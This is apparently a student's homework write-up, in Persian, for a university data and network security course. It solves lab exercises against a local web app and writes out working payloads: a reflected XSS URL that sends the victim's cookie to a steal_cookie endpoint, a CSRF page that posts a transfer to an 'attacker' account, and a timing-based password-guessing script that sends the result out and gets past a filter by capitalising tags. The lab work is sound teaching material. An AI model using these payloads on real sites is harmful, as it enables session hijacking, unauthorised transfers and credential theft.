

به نام خدا
معین آعلی - ۴۰۱۰۵۵۶۱
سوال اول - تمرین دوم - امنیت داده و شبکه

(الف)

[http://localhost:3000/profile?username=<script>fetch\('http://localhost:3000/steal_cookie?cookie=\\${document.cookie.split\('='\)\[1\]}'\).then\(\(\)=>{window.location.replace\('/profile'\)}\);</script>](http://localhost:3000/profile?username=<script>fetch('http://localhost:3000/steal_cookie?cookie=${document.cookie.split('=')[1]}').then(()=>{window.location.replace('/profile')});</script>)

این سوال به XSS آسیب‌پذیر است. داخل فیلد یوزرنیم یک اسکریپت می‌نویسیم که به api مربوط به دزدین کوکی ریکوئست می‌زند و محتویات کوکی insecure که داخل داکيومنت هست رو به عنوان کوئری پارام بهش پاس میدیم. داخل سرور کوکی لاگ میشه و بعد از اون توی promise resolve میایم url رو عوض میکنیم تا کاربر متوجه نشه و بره تو پروفایل. برای حفاظت از این اتک میشه روی ورودی های api ها postprocess داشت تا xss نخوره و کوکی هم secure true کنیم و same site lax کنیم تا کوکی‌ها دزدیده نشن.

(ب)

```
<html>
  <script>
    fetch('http://localhost:3000/post_transfer', {
      method: 'POST',
      body: 'destination_username=attacker&quantity=10',
      mode: 'no-cors',
      credentials: 'include',
      headers: {
        "content-type": "application/x-www-form-urlencoded",
      },
    }).then(() => {
      window.location.replace('http://sharif.edu/~kharrazi/courses/40441-011/')
    })
  </script>
</html>
```

تو این بخش هم چون کوکی secure نیست، میشه به html رو داخل یه origin دیگه سرو کرد و از کوکی های بقیه سایت ها استفاده کرد و ریکوئست‌های حمله رو زد. فایل html فوق رو سرو میکنیم و با مرورگر باز میکنیم. چون کوکی secure نیست میتونیم credentials رو true کنیم تا کوکی ها ارسال بشن. هدر رو form-urlencoded میزاریم تا با فرمت داده شده های body رو ارسال کنیم. این رو از inspect network بروزر دراوردیم. در نهایت mode رو روی no-cors میزاریم تا بروزر ریکوئست رو بلاک نکنه و در هر صورت ریکوئست رو بزنه. چون توی بک‌اند cors allow نشده برای origin ما که یک attacker هستیم. داخل promise resolve هم میایم و url رو عوض میکنیم.

```

<span style='display:none'>
  <img id='test' />
  <script>
    const dictionary = ['password', '123456', '12345678', 'dragon', '1234', 'qwerty', '12345'];
    let index = 0;
    let max_time = 0;
    let max_idx = -1;
    const test = document.getElementById('test');
    test.onerror = () => {
      const end = new Date();

      let elapsed = end - start;
      console.log(dictionary[index-1], elapsed);

      if (max_time < elapsed) {
        max_time = elapsed;
        max_idx = index-1;
      }

      start = new Date();
      if (index < dictionary.length) {
        test.src = `http://localhost:3000/get_login?username=userx&password=${dictionary[index]}`;
      } else {
        fetch(`http://localhost:3000/steal_password?password=${dictionary[max_idx]}&timeElapsed=${max_time}`);
      }
      index += 1;
    };
    let start = new Date();
    test.src = `http://localhost:3000/get_login?username=userx&password=${dictionary[index]}`;
    index += 1;
  </script>
</span>

```

این اسکریپت تا حد خوبی به ما داده شده و صرفاً باید کاملش کنیم. یکی یکی از توی دیکشنری پسوردهارو تست میکنیم و اونی که زمانش از همه بیشتر باشه پسورد ادمین هست. در نهایت هم با همون یوزر لاگین میشیم. نکته مهم اینه که توی این api یه مقداری از xss جلوگیری شده بود و script و img رو فیلتر میکرد. ما میایم capital میکنیمش تا match نشه و بتونیم نفوذ کنیم.